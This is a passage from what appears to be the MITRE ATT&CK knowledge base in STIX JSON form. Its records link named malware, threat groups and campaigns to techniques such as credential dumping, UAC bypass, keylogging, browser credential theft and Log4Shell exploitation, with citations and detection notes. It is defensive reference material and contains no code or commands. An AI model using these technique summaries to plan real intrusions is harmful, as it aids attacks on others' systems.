"https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide", "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019."}, {"source_name": "Amazon S3 Security, 2019", "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/", "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."}, {"source_name": "Amazon  AWS Temporary Security Credentials", "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html", "description": "Amazon. (n.d.). Temporary Security Credentials. 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Retrieved March 16, 2022."}], "modified": "2022-03-16T19:53:13.112Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) can modify the characteristics of folders to hide them from the compromised user.(Citation: Proofpoint TA416 Europe March 2022)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--234867ce-57bb-41c6-beb5-af9cc00e1a39", "created": "2022-08-03T15:01:35.693Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "AADInternals Documentation", "url": "https://o365blog.com/aadinternals", "description": "Dr. Nestori Syynimaa. (2018, October 25). AADInternals. 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Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network.(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.187Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", "target_ref": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2357634d-3e93-41f3-90d5-91fe4d0deb7e", "type": "relationship", "created": "2019-06-25T15:34:24.702Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104", "description": "Intel_Acquisition_Team. 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(2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Symantec Black Vine)", "modified": "2022-07-20T20:09:46.804Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", "target_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2365c9aa-96df-47d8-8601-1acdf66737ba", "created": "2022-03-30T14:26:51.853Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Apple Developer Configuration Profile", "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf", "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021."}, {"source_name": "iDefense Rootkit Overview", "url": "http://www.megasecurity.org/papers/Rootkits.pdf", "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018."}, {"source_name": "Linux Loadable Kernel Module Insert and Remove LKMs", "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html", "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018."}, {"source_name": "User Approved Kernel Extension Pike\u2019s", "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/", "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021."}, {"source_name": "Trend Micro Skidmap", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/", "description": "Remillano, A., Urbanec, J. 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(Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0These are typically obtained through the operating systems package manager and installed like a normal package.\n\nOn macOS, monitor for execution of <code>kextload</code> commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the <code>kext_policy</code> table. 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Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) can be decrypted in memory using a Lightweight Encryption Algorithm (LEA)-128 key and decoded using a XOR key.(Citation: MSTIC FoggyWeb September 2021)", "modified": "2022-04-15T14:16:44.474Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--236e89e9-ee31-4ec7-bc85-cbacffef7b68", "created": "2024-02-12T20:01:47.816Z", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T20:01:47.816Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) uses two distinct User Account Control (UAC) bypass techniques to escalate privileges.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2370fba0-1d66-4aad-ac01-fb63857b7732", "created": "2021-10-12T20:16:55.367Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant No Easy Breach", "description": "Dunwoody, M. and Carr, N.. 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(2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-10-08T15:22:00.086Z", "description": "[BoxCaon](https://attack.mitre.org/software/S0651) can download files.(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--23749a96-a086-4e14-b6c1-44bc9c7d99c1", "type": "relationship", "created": "2020-10-09T13:47:23.614Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.", "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf", "source_name": "Visa FIN6 Feb 2019"}], "modified": "2020-10-09T13:47:23.614Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has collected schemas and user accounts from systems running SQL Server.(Citation: Visa FIN6 Feb 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2374acc8-5a15-40cb-bafc-d74c5097249b", "type": "relationship", "created": "2021-02-09T14:35:39.668Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secure List Bad Rabbit", "url": "https://securelist.com/bad-rabbit-ransomware/82851/", "description": "Mamedov, O. Sinitsyn, F.  Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}], "modified": "2021-10-15T21:11:22.370Z", "description": "[Bad Rabbit](https://attack.mitre.org/software/S0606) has used an executable that installs a modified bootloader to prevent normal boot-up.(Citation: Secure List Bad Rabbit)", "relationship_type": "uses", "source_ref": "malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a", "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--237b3167-feb7-4b28-990d-d810fe99a23b", "type": "relationship", "created": "2020-10-30T20:08:32.674Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ThreatConnect Kimsuky September 2020", "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", "description": "ThreatConnect. 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Retrieved May 21, 2020."}], "modified": "2020-05-21T21:31:34.271Z", "description": "[Pony](https://attack.mitre.org/software/S0453) has used the Adobe Reader icon for the downloaded file to look more trustworthy.(Citation: Malwarebytes Pony April 2016)\t", "relationship_type": "uses", "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--237d098d-f796-49a0-bdc8-61909cd74feb", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Playbook Dec 2017", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. 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Retrieved January 11, 2023.", "url": "https://blog.talosintelligence.com/avoslocker-new-arsenal/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-14T16:42:41.518Z", "description": "During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors exploited VMWare Horizon Unified Access Gateways that were vulnerable to several Log4Shell vulnerabilities, including CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832.(Citation: Cisco Talos Avos Jun 2022)", "relationship_type": "uses", "source_ref": "campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2389113c-9a72-4633-aa52-8f77c3df564a", "created": "2023-03-26T20:13:49.222Z", "revoked": false, "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "description": "Nafisi, R., Lelli, A. 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Retrieved March 8, 2021.", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:13:49.222Z", "description": "For the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) compromised domains to use for C2.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--238e1f61-36d8-41a9-b480-bb35cb30d21d", "created": "2022-04-16T22:12:54.124Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Peirates GitHub", "url": "https://github.com/inguardians/peirates", "description": "InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Peirates](https://attack.mitre.org/software/S0683) can use stolen service account tokens to perform its operations. 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Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}], "modified": "2021-10-18T20:36:35.439Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) looks for and attempts to stop database processes.(Citation: Arxiv Avaddon Feb 2021)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--239092bc-09e4-4c16-9d83-071929c9e4a4", "type": "relationship", "created": "2020-03-02T19:18:20.216Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-01-04T13:57:16.862Z", "description": "Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", "relationship_type": "mitigates", "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2398e409-24d3-4dd9-9353-8b6cf9eee81d", "type": "relationship", "created": "2021-04-08T18:09:43.112Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Aqua Kinsing April 2020", "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "description": "Singer, G. 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The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:58:34.523Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) has used an XOR-based algorithm to encrypt payloads twice with different keys.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--23b9cf45-fbd6-49b9-892d-6f3b1de18f9f", "created": "2024-02-22T22:40:11.136Z", "revoked": false, "external_references": [{"source_name": "Rostovcev APT41 2021", "description": "Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.", "url": "https://www.group-ib.com/blog/apt41-world-tour-2021/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-22T22:40:11.136Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) used BrowserGhost, a tool designed to obtain credentials from browsers, to retrieve information from password stores.(Citation: Rostovcev APT41 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--23bb2f7c-9f4e-4c11-b4e9-b41ba6e6f4c1", "type": "relationship", "created": "2020-03-28T00:59:59.365Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "The DigiTrust Group. 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(2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."}], "modified": "2020-07-29T21:36:24.496Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) has maintained persistence by placing itself inside the current user's startup folder.(Citation: Prevx Carberp March 2011)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--23bd8751-1083-4c0b-8ec1-b5f637c5fbc7", "type": "relationship", "created": "2020-08-04T19:38:36.952Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks GandCrab and REvil September 2019", "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection", "description": "Secureworks . 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Retrieved November 16, 2020."}], "modified": "2020-11-17T19:31:01.506Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can identify the process that owns remote connections.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--23c6c48b-f602-43f9-9c23-d4e46fba9194", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", "description": "Blaich, A., et al. (2018, January 18). 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Retrieved February 15, 2018.", "source_name": "Proofpoint Leviathan Oct 2017"}], "modified": "2019-04-25T12:24:57.288Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used WMI for execution.(Citation: Proofpoint Leviathan Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--23d2aa8e-0b95-4714-8b76-b1a0735ffdeb", "type": "relationship", "created": "2020-11-19T18:02:58.410Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR SLOTHFULMEDIA October 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}], "modified": "2020-11-19T18:02:58.410Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has used HTTP and HTTPS for C2 communications.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--23dac679-c865-49d6-8e44-06014515cecb", "type": "relationship", "created": "2020-03-09T14:51:11.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-09T14:51:11.860Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7", "target_ref": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--23df34a9-9705-4efa-9f8f-90f4bcb1a310", "type": "relationship", "created": "2021-12-06T16:10:28.347Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. 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(2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-30T03:05:20.914Z", "description": "Data [SPACESHIP](https://attack.mitre.org/software/S0035) copies to the staging area is compressed with zlib. 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Retrieved June 16, 2020."}], "modified": "2020-06-16T20:51:13.916Z", "description": "[RTM](https://attack.mitre.org/software/S0148) can record keystrokes from both the keyboard and virtual keyboard.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--23ebaddf-0f99-4ed9-9aa4-39577490fa81", "created": "2022-07-25T17:04:18.731Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. 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Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).", "relationship_type": "detects", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--241c2c47-3659-4899-bf5b-64f0ed94c916", "type": "relationship", "created": "2020-06-26T13:46:14.290Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SANS Windshift August 2018", "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf", "description": "Karim, T. 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Retrieved August 10, 2020."}, {"source_name": "Lazarus APT January 2022", "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. 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Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Action RAT](https://attack.mitre.org/software/S1028) can use WMI to gather AV products installed on an infected host.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-15T20:28:15.280Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--36801ffb-5c85-4c50-9121-6122e389366d", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2443296f-a8fc-431d-9865-d68dd6142b37", "created": "2023-09-27T19:45:40.574Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). 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Retrieved September 27, 2021."}], "modified": "2021-09-28T15:15:06.698Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can use domain generation algorithms in C2 communication.(Citation: Trend Micro Qakbot May 2020)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--24e53924-ea02-4cbb-9967-f76c151f0278", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitor executed commands and arguments that may search for private key certificate files on compromised systems for insecurely stored credentials.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--24ea53e3-a51f-4c4a-b3de-2e1d09ed69e8", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity PowerDuke November 2016", "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}], "modified": "2019-04-22T22:31:38.492Z", "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space.(Citation: Volexity PowerDuke November 2016)", "relationship_type": "uses", "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--24f1177a-971a-457f-a9b6-36de5fc65d42", "type": "relationship", "created": "2021-04-07T18:07:47.945Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Hildegard Malware", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT 